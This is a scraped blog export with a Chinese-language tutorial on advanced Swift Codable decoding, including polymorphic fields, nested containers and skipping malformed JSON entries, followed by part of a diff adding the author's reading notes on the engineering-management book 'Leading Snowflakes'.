+24
+25
+
enum HandsomeLevel: Decodable {
+    case handsome(String)
+    case normal(String)
+    init(from decoder: Decoder) throws {
+        let container = try decoder.singleValueContainer()
+        let name = try container.decode(String.self)
+        if name == "zhgchgli" {
+            self = .handsome(name)
+        } else {
+            self = .normal(name)
+        }
+    }
+}
+
+struct UserEntity: Decodable {
+    var id: Int
+    var name: HandsomeLevel
+    var email: String
+    
+    enum CodingKeys: String, CodingKey {
+        case id
+        case name
+        case email
+    }
+}
+

適用於 Associated Value Enum 欄位類型,例如 name 還自帶帥氣程度!

第三種 unkeyedContainer 將整包視為一包陣列:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+
struct ListEntity: Decodable {
+    var items:[Decodable]
+    init(from decoder: Decoder) throws {
+        var unkeyedContainer = try decoder.unkeyedContainer()
+        self.items = []
+        while !unkeyedContainer.isAtEnd {
+            //unkeyedContainer 內部指針會自動在 decode 操作後指向下一個對象
+            //直到指向結尾即代表遍歷結束
+            if let id = try? unkeyedContainer.decode(Int.self) {
+                items.append(id)
+            } else if let name = try? unkeyedContainer.decode(String.self) {
+                items.append(name)
+            }
+        }
+    }
+}
+
+let jsonString = "[\"test\",1234,5566]"
+let jsonDecoder = JSONDecoder()
+let result = try jsonDecoder.decode(ListEntity.self, from: jsonString.data(using: .utf8)!)
+print(result)
+

適用不固定類型的陣列欄位。

Container 之下我們還能使用 nestedContainer / nestedUnkeyedContainer 對特定欄位操作:

*將資料欄位扁平化(類似 flatMap)

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+
struct ListEntity: Decodable {
+    
+    enum CodingKeys: String, CodingKey {
+        case items
+        case date
+        case name
+        case target
+    }
+    
+    enum PredictKey: String, CodingKey {
+        case type
+    }
+    
+    var date: Date
+    var name: String
+    var items: [Decodable]
+    var target: Decodable
+    
+    init(from decoder: Decoder) throws {
+        let container = try decoder.container(keyedBy: CodingKeys.self)
+        
+        self.date = try container.decode(Date.self, forKey: .date)
+        self.name = try container.decode(String.self, forKey: .name)
+        
+        let nestedContainer = try container.nestedContainer(keyedBy: PredictKey.self, forKey: .target)
+        
+        let type = try nestedContainer.decode(String.self, forKey: .type)
+        if type == "song" {
+            self.target = try container.decode(SongEntity.self, forKey: .target)
+        } else {
+            self.target = try container.decode(UserEntity.self, forKey: .target)
+        }
+        
+        var unkeyedContainer = try container.nestedUnkeyedContainer(forKey: .items)
+        self.items = []
+        while !unkeyedContainer.isAtEnd {
+            if let song = try? unkeyedContainer.decode(SongEntity.self) {
+                items.append(song)
+            } else if let user = try? unkeyedContainer.decode(UserEntity.self) {
+                items.append(user)
+            }
+        }
+    }
+}
+

存取、Decode 不同階層的物件,範例展示 target/items 使用 nestedContainer flat 出 type 再依照 type 去做對應的 decode。

Decode & DecodeIfPresent

  • DecodeIfPresent: Response 有給資料欄位時才會進行 Decode(Codable Property 設 Optional 時)
  • Decode:進行 Decode 操作,若 Response 無給資料欄位會拋出 Error

*以上只是簡單介紹一下 init decoder、container 有哪些方法、功能,看不懂也沒關係,我們直接進入現實場景;在範例中感受組合起來的操作方式。

現實場景

回到原本的範例 JSON String。

場景1. 假設今天對誰留言可能是對歌曲或對人留言, targetObject 欄位可能的對象是 UserSong ? 那該如何處理?

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+
{
+  "results": [
+    {
+      "id": 123456,
+      "comment": "是告五人,不是五告人!",
+      "target_object": {
+        "type": "song",
+        "id": 99,
+        "name": "披星戴月的想你"
+      },
+      "commenter": {
+        "type": "user",
+        "id": 1,
+        "name": "zhgchgli",
+        "email": "zhgchgli@gmail.com"
+      }
+    },
+    {
+      "id": 55,
+      "comment": "66666!",
+      "target_object": {
+        "type": "user",
+        "id": 1,
+        "name": "zhgchgli"
+      },
+      "commenter": {
+        "type": "user",
+        "id": 2,
+        "name": "aaaa",
+        "email": "aaaa@gmail.com"
+      }
+    }
+  ]
+}
+

方式 a.

使用 Enum 做為容器 Decode。

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+
struct CommentEntity: Decodable {
+    
+    enum CodingKeys: String, CodingKey {
+      case id
+      case comment
+      case targetObject = "target_object"
+      case commenter
+    }
+    
+    var id: Int
+    var comment: String
+    var targetObject: TargetObject
+    var commenter: UserEntity
+    
+    enum TargetObject: Decodable {
+        case song(SongEntity)
+        case user(UserEntity)
+        
+        enum PredictKey: String, CodingKey {
+            case type
+        }
+        
+        enum TargetObjectType: String, Decodable {
+            case song
+            case user
+        }
+        
+        init(from decoder: Decoder) throws {
+            let container = try decoder.container(keyedBy: PredictKey.self)
+            let singleValueContainer = try decoder.singleValueContainer()
+            let targetObjectType = try container.decode(TargetObjectType.self, forKey: .type)
+            
+            switch targetObjectType {
+            case .song:
+                let song = try singleValueContainer.decode(SongEntity.self)
+                self = .song(song)
+            case .user:
+                let user = try singleValueContainer.decode(UserEntity.self)
+                self = .user(user)
+            }
+        }
+    }
+}
+

我們將 targetObject 的屬性換成 Associated Value Enum,在 Decode 時才決定 Enum 內要放什麼內容。

核心實踐是建立一個符合 Decodable 的 Enum 做為容器,decode 時先取關鍵欄位出來判斷(範例 JSON String 中的 type 欄位),若為 Song 則使用 singleValueContainer 將整包解成 SongEntity ,若為 User 亦然。

要使用時再從 Enum 中取出:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+
//if case let
+if case let CommentEntity.TargetObject.user(user) = result.targetObject {
+    print(user)
+} else if case let CommentEntity.TargetObject.song(song) = result.targetObject {
+    print(song)
+}
+
+//switch case let
+switch result.targetObject {
+case .song(let song):
+    print(song)
+case .user(let user):
+    print(user)
+}
+

方式 b.

改宣告欄位屬性為 Base Class。

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+
struct CommentEntity: Decodable {
+    enum CodingKeys: String, CodingKey {
+      case id
+      case comment
+      case targetObject = "target_object"
+      case commenter
+    }
+    enum PredictKey: String, CodingKey {
+        case type
+    }
+    
+    var id: Int
+    var comment: String
+    var targetObject: Decodable
+    var commenter: UserEntity
+    
+    init(from decoder: Decoder) throws {
+        let container = try decoder.container(keyedBy: CodingKeys.self)
+        self.id = try container.decode(Int.self, forKey: .id)
+        self.comment = try container.decode(String.self, forKey: .comment)
+        self.commenter = try container.decode(UserEntity.self, forKey: .commenter)
+        
+        //
+        let targetObjectContainer = try container.nestedContainer(keyedBy: PredictKey.self, forKey: .targetObject)
+        let targetObjectType = try targetObjectContainer.decode(String.self, forKey: .type)
+        if targetObjectType == "user" {
+            self.targetObject = try container.decode(UserEntity.self, forKey: .targetObject)
+        } else {
+            self.targetObject = try container.decode(SongEntity.self, forKey: .targetObject)
+        }
+    }
+}
+

原理差不多,但這邊先使用 nestedContainer 衝進去 targetObjecttype 出來判斷,再決定 targetObject 要解析成什麼類型。

要使用時再 Cast :

1
+2
+3
+4
+5
+
if let song = result.targetObject as? Song {
+  print(song)
+} else if let user = result.targetObject as? User {
+  print(user)
+}
+

場景2. 假設資料陣列欄位放多種類型的資料該如何 Decode?

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+
{
+  "results": [
+    {
+      "type": "song",
+      "id": 99,
+      "name": "披星戴月的想你"
+    },
+    {
+      "type": "user",
+      "id": 1,
+      "name": "zhgchgli",
+      "email": "zhgchgli@gmail.com"
+    }
+  ]
+}
+
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+
struct ListEntity: Decodable {
+    enum CodingKeys: String, CodingKey {
+        case results
+    }
+    enum PredictKey: String, CodingKey {
+        case type
+    }
+    
+    var results:[Decodable]
+    init(from decoder: Decoder) throws {
+        let container = try decoder.container(keyedBy: CodingKeys.self)
+        var nestedUnkeyedContainer = try container.nestedUnkeyedContainer(forKey: .results)
+        
+        self.results = []
+        while !nestedUnkeyedContainer.isAtEnd {
+            let type = try nestedUnkeyedContainer.nestedContainer(keyedBy: PredictKey.self).decode(String.self, forKey: .type)
+            if type == "song" {
+                results.append(try nestedUnkeyedContainer.decode(SongEntity.self))
+            } else {
+                results.append(try nestedUnkeyedContainer.decode(UserEntity.self))
+            }
+        }
+    }
+}
+

結合上述提到的 nestedUnkeyedContainer +場景1. 的解決方案即可;這邊也能改用 場景1.a.解決方案 ,用 Associated Value Enum 存取值。

場景3. JSON String 欄位有給值時才 Decode

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+
[
+  {
+    "type": "song",
+    "id": 99,
+    "name": "披星戴月的想你"
+  },
+    {
+    "type": "song",
+    "id": 11
+  }
+]
+
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+
struct TargetEntity: Decodable {
+    enum CodingKeys: String, CodingKey {
+        case type
+        case id
+        case name
+    }
+    var type: String
+    var id: Int
+    var name: String
+    
+    init(from decoder: Decoder) throws {
+        let container = try decoder.container(keyedBy: CodingKeys.self)
+        self.id = try container.decode(Int.self, forKey: .id)
+        self.type = try container.decode(String.self, forKey: .type)
+        
+        //方式 1:
+        self.name = try container.decodeIfPresent(String.self, forKey: .name) ?? ""
+        //或方式 2:
+        self.name = (try? container.decode(String.self, forKey: .name)) ?? "" //not good
+    }
+}
+
+let jsonString = "[ { \"type\": \"song\", \"id\": 99, \"name\": \"披星戴月的想你\" }, { \"type\": \"song\", \"id\": 11 } ]"
+let jsonDecoder = JSONDecoder()
+let result = try jsonDecoder.decode([TargetEntity].self, from: jsonString.data(using: .utf8)!)
+

使用 decodeIfPresent 進行 decode。

場景4. 陣列資料略過 Decode 失敗錯誤的資料

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+
{
+  "results": [
+    {
+      "type": "song",
+      "id": 99,
+      "name": "披星戴月的想你"
+    },
+    {
+      "error": "errro"
+    },
+    {
+      "type": "song",
+      "id": 19,
+      "name": "帶我去找夜生活"
+    }
+  ]
+}
+

如前述,Decodable 預設是所有資料剖析都正確才能 Mapping 輸出;有時會遇到後端給的資料不穩定,給一長串 Array 但就有幾筆資料缺了欄位或欄位類型不符導致 Decode 失敗;造成整包全部失敗,直接 nil。

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+
struct ResultsEntity: Decodable {
+    enum CodingKeys: String, CodingKey {
+        case results
+    }
+    var results: [SongEntity]
+    
+    init(from decoder: Decoder) throws {
+        let container = try decoder.container(keyedBy: CodingKeys.self)
+        var nestedUnkeyedContainer = try container.nestedUnkeyedContainer(forKey: .results)
+        
+        self.results = []
+        while !nestedUnkeyedContainer.isAtEnd {
+            if let song = try? nestedUnkeyedContainer.decode(SongEntity.self) {
+                self.results.append(song)
+            } else {
+                let _ = try nestedUnkeyedContainer.decode(EmptyEntity.self)
+            }
+        }
+    }
+}
+
+struct EmptyEntity: Decodable { }
+
+struct SongEntity: Decodable {
+    var type: String
+    var id: Int
+    var name: String
+}
+
+let jsonString = "{ \"results\": [ { \"type\": \"song\", \"id\": 99, \"name\": \"披星戴月的想你\" }, { \"error\": \"errro\" }, { \"type\": \"song\", \"id\": 19, \"name\": \"帶我去找夜生活\" } ] }"
+let jsonDecoder = JSONDecoder()
+let result = try jsonDecoder.decode(ResultsEntity.self, from: jsonString.data(using: .utf8)!)
+print(result)
+

解決方式也類似 場景2.的解決方案nestedUnkeyedContainer 遍歷每個內容,並進行 try? Decode,如果 Decode 失敗則使用 Empty Decode 讓 nestedUnkeyedContainer 的內部指針繼續執行。

*此方法有點 workaround,因我們無法對 nestedUnkeyedContainer 命令跳過,且 nestedUnkeyedContainer 必須有成功 decode 才會繼續執行;所以才這樣做,看 swift 社群有人提增加 moveNext( ) ,但目前版本尚未實作。

場景5. 有的欄位是我程式內部要使用的,而非要 Decode

方式a. Entity/Model

這邊就要提一開始說的,我們拆分 Entity/Model 的功用了;Entity 單純負責 JSON String to Entity(Decodable) Mapping;Model initWith Entity,實際程式傳遞、操作、商業邏輯都是使用 Model。

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+
struct SongEntity: Decodable {
+    var type: String
+    var id: Int
+    var name: String
+}
+
+class SongModel: NSObject {
+    init(_ entity: SongEntity) {
+        self.type = entity.type
+        self.id = entity.id
+        self.name = entity.name
+    }
+    
+    var type: String
+    var id: Int
+    var name: String
+    
+    var isSave:Bool = false //business logic
+}
+

拆分 Entity/Model 的好處:

  1. 權責分明,Entity: JSON String to Decodable, Model: business logic
  2. 一目瞭然 mapping 了哪些欄位看 Entity 就知道
  3. 避免欄位一多全喇在一起
  4. Objective-C 也可用 (因 Model 只是 NSObject、struct/Decodable Objective-C 不可見)
  5. 內部要使用的商業邏輯、欄位放在 Model 即可

方式b. init 處理

列出 CodingKeys 並排除內部使用的欄位,init 時給預設值或欄位有給預設值或設為 Optional,但都不是好方法,只是可以 run 而已。

[2020/06/26 更新] — 下篇 場景6.API Response 使用 0/1 代表 Bool,該如何 Decode?

[2020/06/26 更新] — 下篇 場景7.不想要每每都要重寫 init decoder

[2020/06/26 更新] — 下篇 場景8.合理的處理 Response Null 欄位資料

綜合場景範例

綜合以上基本使用及進階使用的完整範例:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+
{
+  "count": 5,
+  "offset": 0,
+  "limit": 10,
+  "results": [
+    {
+      "id": 123456,
+      "comment": "是告五人,不是五告人!",
+      "target_object": {
+        "type": "song",
+        "id": 99,
+        "name": "披星戴月的想你",
+        "create_date": "2020-06-13T15:21:42+0800"
+      },
+      "commenter": {
+        "type": "user",
+        "id": 1,
+        "name": "zhgchgli",
+        "email": "zhgchgli@gmail.com",
+        "birthday": "1994/07/18"
+      }
+    },
+    {
+      "error": "not found"
+    },
+    {
+      "error": "not found"
+    },
+    {
+      "id": 2,
+      "comment": "哈哈,我也是!",
+      "target_object": {
+        "type": "user",
+        "id": 1,
+        "name": "zhgchgli",
+        "email": "zhgchgli@gmail.com",
+        "birthday": "1994/07/18"
+      },
+      "commenter": {
+        "type": "user",
+        "id": 1,
+        "name": "路人甲",
+        "email": "man@gmail.com",
+        "birthday": "2000/01/12"
+      }
+    }
+  ]
+}
+
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+112
+113
+114
+115
+116
+117
+118
+119
+120
+121
+122
+123
+124
+125
+126
+127
+128
+129
+130
+131
+132
+133
+134
+135
+136
+137
+138
+139
+140
+141
+142
+143
+144
+145
+146
+147
+148
+149
+150
+151
+152
+153
+154
+155
+156
+157
+158
+159
+160
+161
+162
+163
+164
+165
+166
+167
+168
+169
+170
+171
+172
+173
+174
+175
+176
+177
+178
+179
+180
+181
+182
+183
+184
+185
+186
+187
+188
+189
+190
+191
+192
+193
+194
+195
+196
+197
+198
+199
+200
+201
+202
+203
+204
+205
+206
+207
+208
+209
+210
+211
+212
+213
+214
+215
+216
+217
+218
+219
+220
+221
+222
+223
+224
+225
+226
+227
+228
+229
+230
+
import Foundation
+//
+
+let jsonString = """
+{
+  "count": 3,
+  "offset": 0,
+  "limit": 10,
+  "results": [
+    {
+      "id": 123456,
+      "comment": "是告五人不是五告人!",
+      "target_object": {
+        "type": "song",
+        "id": 99,
+        "name": "披星戴月的想你",
+        "create_date": "2020-06-13T15:21:42+0800"
+      },
+      "commenter": {
+        "type": "user",
+        "id": 1,
+        "name": "zhgchgli",
+        "email": "zhgchgli@gmail.com",
+        "birthday": "1994/07/18"
+      }
+    },
+    {
+      "error": "not found"
+    },
+    {
+      "error": "not found"
+    },
+    {
+      "id": 2,
+      "comment": "哈哈我也是!",
+      "target_object": {
+        "type": "user",
+        "id": 1,
+        "name": "zhgchgli",
+        "email": "zhgchgli@gmail.com",
+        "birthday": "1994/07/18"
+      },
+      "commenter": {
+        "type": "user",
+        "id": 1,
+        "name": "路人甲",
+        "email": "man@gmail.com",
+        "birthday": "2000/01/12"
+      }
+    }
+  ]
+}
+"""
+//
+// Entity:
+struct SongEntity: Decodable {
+    enum CodingKeys: String, CodingKey {
+        case type
+        case id
+        case name
+        case createDate = "create_date"
+    }
+    var type: String
+    var id: Int
+    var name: String
+    var createDate: Date
+}
+
+struct UserEntity: Decodable {
+    var type: String
+    var id: Int
+    var name: String
+    var email: String
+    var birthday: Date
+}
+
+struct CommentEntity: Decodable {
+    enum CodingKeys: String, CodingKey {
+        case id
+        case comment
+        case commenter
+        case targetObject = "target_object"
+    }
+    enum PredictKey: String, CodingKey {
+        case type
+    }
+    enum ObjectType: String, Decodable {
+        case song
+        case user
+    }
+    var id: Int
+    var comment: String
+    var commenter: UserEntity
+    var targetObject: Decodable
+    
+    init(from decoder: Decoder) throws {
+        let container = try decoder.container(keyedBy: CodingKeys.self)
+        self.id = try container.decode(Int.self, forKey: .id)
+        self.comment = try container.decode(String.self, forKey: .comment)
+        self.commenter = try container.decode(UserEntity.self, forKey: .commenter)
+        
+        //targetObject cloud be UserEntity or SongEntity
+        let targetObjectNestedContainer = try container.nestedContainer(keyedBy: PredictKey.self, forKey: .targetObject)
+        let type = try targetObjectNestedContainer.decode(ObjectType.self, forKey: .type)
+        switch type {
+        case .song:
+            self.targetObject = try container.decode(SongEntity.self, forKey: .targetObject)
+        case .user:
+            self.targetObject = try container.decode(UserEntity.self, forKey: .targetObject)
+        }
+    }
+}
+
+struct EmptyEntity: Decodable { }
+
+struct PageEntity<E: Decodable>: Decodable {
+    enum CodingKeys: String, CodingKey {
+        case count
+        case offset
+        case limit
+        case results
+    }
+    var count: Int
+    var offset: Int
+    var limit: Int
+    var results: [E]
+    
+    init(from decoder: Decoder) throws {
+        let container = try decoder.container(keyedBy: CodingKeys.self)
+        self.count = try container.decode(Int.self, forKey: .count)
+        self.offset = try container.decode(Int.self, forKey: .offset)
+        self.limit = try container.decode(Int.self, forKey: .limit)
+        
+        var nestedUnkeyedContainer = try container.nestedUnkeyedContainer(forKey: .results)
+        
+        self.results = []
+        while !nestedUnkeyedContainer.isAtEnd {
+            if let entity = try? nestedUnkeyedContainer.decode(E.self) {
+                self.results.append(entity)
+            } else {
+                let _ = try nestedUnkeyedContainer.decode(EmptyEntity.self)
+            }
+        }
+    }
+}
+
+// Model:
+class UserModel: NSObject {
+    var type: String
+    var id: Int
+    var name: String
+    var email: String
+    var birthday: Date
+    init(_ entity: UserEntity) {
+        self.type = entity.type
+        self.id = entity.id
+        self.name = entity.name
+        self.email = entity.email
+        self.birthday = entity.birthday
+    }
+}
+
+class SongModel: NSObject {
+    var type: String
+    var id: Int
+    var name: String
+    var createDate: Date
+    init(_ entity: SongEntity) {
+        self.type = entity.type
+        self.id = entity.id
+        self.name = entity.name
+        self.createDate = entity.createDate
+    }
+}
+
+class CommentModel: NSObject {
+    var id: Int
+    var comment: String
+    var commenter: UserModel
+    var targetObject: NSObject?
+    
+    var displayMessage: String //simulation business logic
+    
+    init(_ entity: CommentEntity) {
+        self.id = entity.id
+        self.comment = entity.comment
+        self.commenter = UserModel(entity.commenter)
+        if let userEntity = entity.targetObject as? UserEntity {
+            self.targetObject = UserModel(userEntity)
+        } else if let songEntity = entity.targetObject as? SongEntity {
+            self.targetObject = SongModel(songEntity)
+        }
+        self.displayMessage = "\(entity.commenter.name):\(entity.comment)"
+    }
+}
+//
+
+let jsonDecoder = JSONDecoder()
+let iso8601DateFormatter = ISO8601DateFormatter()
+var dateFormatter = DateFormatter()
+
+jsonDecoder.dateDecodingStrategy = .custom({ (decoder) -> Date in
+    let container = try decoder.singleValueContainer()
+    let dateString = try container.decode(String.self)
+    
+    //ISO8601:
+    if let date = iso8601DateFormatter.date(from: dateString) {
+        return date
+    }
+    
+    //YYYY-MM-DD:
+    dateFormatter.dateFormat = "yyyy/MM/dd"
+    if let date = dateFormatter.date(from: dateString) {
+        return date
+    }
+    
+    throw DecodingError.dataCorruptedError(in: container, debugDescription: "Cannot decode date string \(dateString)")
+})
+
+do {
+    let pageEntity = try jsonDecoder.decode(PageEntity<CommentEntity>.self, from: jsonString.data(using: .utf8)!)
+    let comments = pageEntity.results.compactMap { CommentModel($0) }
+    comments.forEach { (comment) in
+        print(comment.displayMessage)
+    }
+} catch {
+    print(error)
+}
+
+
+

Output:

1
+
zhgchgli:是告五人,不是五告人!
+

完整範例演示如上!

(下)篇&其他場景已更新:

總結

選擇使用 Codable 的好處,第一當然是因為原生,不用怕後續無人維護、還有寫起來漂亮;但相對的限制較嚴格、比較不能靈活解 JSON String,不然就是要如本文做更多的事去完成、還有效能其實不比使用其他 Mapping 套件優(Decodable 依然使用Objective 時代的 NSJSONSerialization 進行解析),但我想在後續的更新中或許蘋果會對此進行優化,那時我們也不必更動程式。

文中場景、範例或許有些很極端,但有時候遇到了也沒辦法;當然希望一般情況下單純的 Codable 就能滿足我們的需求;但有了以上招式之後應該沒有打不倒的問題了!

感謝 @saiday 大大技術支援。

告五人 Accusefive【帶我去找夜生活 Night life.Take us to the light】Official Music Video

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

使用 iPhone 簡單製作「偽」透視透明手機桌布

使用 Google Site 建立個人網站還跟得上時代嗎?

diff --git a/posts/1c9eafd4a190/index.html b/posts/1c9eafd4a190/index.html new file mode 100644 index 000000000..5be08a1e1 --- /dev/null +++ b/posts/1c9eafd4a190/index.html @@ -0,0 +1 @@ + Leading Snowflakes 閱讀筆記 | ZhgChgLi
Home Leading Snowflakes 閱讀筆記
Post
Cancel

Leading Snowflakes 閱讀筆記

Leading Snowflakes — 閱讀筆記

“Leading Snowflakes The Engineering Manager Handbook” — Oren Ellenbogen

管理職,初來乍到,一切都很迷茫;對於管理的知識只有彙整之前的工作經驗、觀察或與其他同事閒聊時獲得,知道主管做了什麼事底下的人是正面的、什麼事是負面的;也就大概只有這些經驗想法,知識是破碎的,沒有一個有系統理念,於是我開始看書,開始記錄一下每個作者的經驗;如果遇到相同的事物,有了「知識底氣」之後就不會在手忙腳亂了。

Leading Snowflakes

作者在過去近 20 年的工作經歷中,從原本的軟體工程師一步步踏入管理職;擔任過不管是大公司或新創公司之 Technical Lead、Engineering Manager;本書詳細點出從工程師踏入管理職時會遇到的瓶頸及該用什麼方法整理、解決。

我覺得與我的背景非常相似,都是本來做軟體開發,初探管理職;藉由書中提到的重點讓我學到很多可以怎麼做的方法!

- 本文僅為個人筆記夾雜些許個人觀點,在這資訊碎片化的年代,強烈建議要自行閱讀過原文書,才能有系統的吸收精髓。

- 筆記的意義是之後回頭來看,比較容易快速定位到想複習的點。

- 部分內容直接摘錄原文。

Lesson 1. — Switch between “Manager” and “Maker” modes

從工程師(Maker)到管理者(Manager)的過渡。

完成好任務甚至優雅地解決難題是優秀的工程師的衡量標準,但做為管理者以不是用完成任務的能力來衡量,這部分我們已經證明過了,而是以帶領、推動、提升能力的團隊目標作為評斷標準。

但也不能完全將自己從任務中抽離,完全與任務細節抽量導致與團隊成員斷開連結,對於執行成果、優先權、信任方面長期來看會有很大的風險。

所以不是說當管理者就不用做工程師的事,而是兩邊都要碰,需要的就在 工程師(Maker) 跟 管理者(Manager) 之中取得平衡。

做為工程師時我們喜歡有連續不被打斷的時間讓我們保持在 Context 中去解決困難的問題;但做為管理者時,我們需要的是時常跳出來幫助團隊、關心隊友,所以被打斷其實是管理者的工作之一。

但我們同時需要身兼工程師和管理者,那該如何是好?

作者建議建立兩個 Calendar ,一個是 as Maker (工程師)、一個是 as Manager (管理者),然後每日一大早給自己 15 – 30 分鐘整理思緒,安排本日行事曆,該做什麼事、有什麼會、有哪些空檔的連續時間點可以拿來解決任務(as Maker)。

作者的行事曆範本

作者的行事曆範本

我們也需要專心的時間

作者所述,現在身為管理者,但我們仍需同時處理任務;可利用的空檔專注時間對我們來說比以前更重要。

作者提到,可以在需要專心的時間透過一些動作傳達給隊友,暫時不要打擾我!

方法有:到會議室、戴上耳機、或甚至買一個 ON AIR ! 的開關燈放桌上。

如果不是緊急問題,可以先請隊友留言或彙整資訊寄信給你,等到專心時間結束後再來處理。

評估自己做為工程師的時間能解決的任務

因為已經不像以前純當工程師(Maker)的時候可以全心全力灌注在開發需求上,所以要依照工程師行事曆所能運用的時間來選擇能親自執行的任務。

不要成為團隊的技術瓶頸,我們的任務是提升團隊能力、探索新技術、提升公司對外或隊內的技術視野;可做的事有預先研究技術問題,然後與隊友分享並交由隊友執行、解決公司技術債、流程問題增加開發效率、使用新技術、將公司技術開源、開放 API、對外黑客松…等等。

最重要的還是平衡

作者建議可以從 15–20% 比例開始調配,本來是 100% as Maker,現在可能是 20% as Maker / 80% as Manager(但這要看實際團隊大小及成員能力,作者也說 50% / 50% 也有可能),就是不能在是 100% 投入工程開發,要多花心力在管理上。

善用 1:1

定期與隊友 1:1,互相 Feedback 並分享所學到的東西。

如果管理者的任務吃掉你所有時間

作者最後提到,如果你管理的任務太多完全無法做工程 (as Maker)的事,與任務、技術脫節時,可以考慮每週選幾天 WFH 與公司隔離或參加黑客松。

Lesson 2. — Code Review” Your Management Decisions

定期 Review 你身為管理者下的決策。

身為工程師時我們有很多方法或工具,只要遵循就能提升好能力,諸如 pair programming、code review、design pattern;但做為管理者,尤其菜鳥我們感到相當孤獨。

我們不想承認對上或對下一無所知、害怕為團隊成功負責也擔心沒拿捏好技術(債)與商業需求之間的平衡。

作者提到要跨出去尋找提升管理能力的,公開徵求 Feedback & 提高管理技能的方法;做管理者時也能像做工程師時的熱情。

記錄&回頭審查決定

同事與老闆都是我們很常低估的強大資源,我們可以快速的從同事與老闆的 Feedback 中學習;建立好紀錄&回頭審查決定的習慣,可以讓我們更好的得到 Feedback。

作者提到:

「There is no one right way, there are only tradeoffs.」

我想也是,如果不是進退兩難的問題應該也不會問你;如果問你就代表隊友不知道該如何決定。

我們可以列出選項並提供決定給隊友,但與此同時也要記下所做的決定。

作者提供的紀錄 Sheet 範本

作者提供的紀錄 Sheet 範本

養成紀錄的習慣,並且要確保內容是之後能回憶的。

作者建議,每個月回頭審查,可以與老闆或其他管理者或其他同事分享討論決策(至少要分享一半的問題),聽聽別人的看法;可以匿名保護當事者,對事不對人,並記錄下來。

回頭審查時的要點

關於問題:

  • 引起多少技術問題?
  • 是個人問題?
  • 只是某個成員的獨立問題?(是不是單純只是他不了解目標?)
  • 這問題在其他團隊或會重複出現嗎?

關於決策:

  • 這問題真的需要管理者來決定嗎
  • 有沒有問過隊友的建議
  • 有沒有其他比較有經驗的人能提供建議
  • 現在重新思考,還會是同個決定嗎?

Lesson 3. — Confront and challenge your teammates

推動隊友跳脫舒適圈以及不讓自己變成混蛋跟陷入陷阱。

作者提到一開始很不習慣,因為本來是朋友的同事現在變成部署;他害怕會傷害本來的關係;所以一昧地承擔所有收尾的事,但最後他發現他越是保護越與隊友距離越遠,因為他一而再的埋頭苦幹,少了分享讓隊友失去信念。

回頭來看,作者說與其害怕傷害隊友的感覺不如說出內心真實所想的,「害怕傷害隊友」這單純是自己自私的想像,沒有必要;而且這是身為管理者的責任,帶領團隊成長前進;要遠觀大局、控制風險。

分享真實想法對雙方都很難,但這是身為管理者的責任。

同理心(Empathy) vs 同情心(Sympathy)

我們要展現同理心而不是同情心,為了讓他們的工作真正出類拔萃,他們需要我們客觀的意見。

作者提供以下三個要項讓我們能在情緒與行爲中做出平衡:

  1. 我有展現出同理心嗎?
  2. 我有清楚說明我的期待嗎?
  3. 我有以身作則嗎?

「If you want to achieve anything in this world, you have to get used to the idea that not everyone will like you.」

如果你想要有所成就,就必須習慣不會每個人都喜歡你的想法

四個常見的陷阱:

  1. 相較於掩蓋,我有公開分享失敗經驗嗎?(可以是寫文章、寄信給所有人)
  2. 忘記統整討論結果(要習慣紀錄 1:1、討論的結果)
  3. 使用錯誤的 Feedback 媒介,沒得到真正的問題(依照團隊文化找到適合的 Feedback 渠道,EX: 1:1)
  4. 不即時的 Feedback 我們需要注意,工程師喜歡挑戰自我、提升技能,同時也想要獲得尊重、主管的 Feedback;我們的任務就是帶領團隊成長,所以在每次有 Feedback 機會時不應該拖延,因為不做決定也等同於做決定;而且一旦 Feedback 的風氣衰弱之後要再點燃就更困難。

